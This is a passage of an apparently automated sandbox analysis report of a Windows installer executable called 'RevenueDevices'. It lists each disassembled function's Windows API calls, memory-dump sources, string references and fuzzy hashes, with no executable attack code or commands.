CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

, xrefs: 00404F39
N, xrefs: 00404C06
M, xrefs: 00404B43
@, xrefs: 00404B90

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

%s: failed opening file "%s", xrefs: 00406F0C
GetTTFNameString, xrefs: 00406F07
name, xrefs: 00406FBF

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
\*.*, xrefs: 00406D03
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
Delete: DeleteFile("%s"), xrefs: 00406DBC
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

EnumProcesses, xrefs: 00406482
PSAPI.DLL, xrefs: 00406464
Process32FirstW, xrefs: 004065BD
CreateToolhelp32Snapshot, xrefs: 004065B5
EnumProcessModules, xrefs: 0040648A
Kernel32.DLL, xrefs: 0040659B
Module32NextW, xrefs: 004065DE
Unknown, xrefs: 004064FC
Module32FirstW, xrefs: 004065D3
Process32NextW, xrefs: 004065C8
GetModuleBaseNameW, xrefs: 00406494

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

open, xrefs: 004042DF
@%F, xrefs: 004042A7
N, xrefs: 0040426C

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

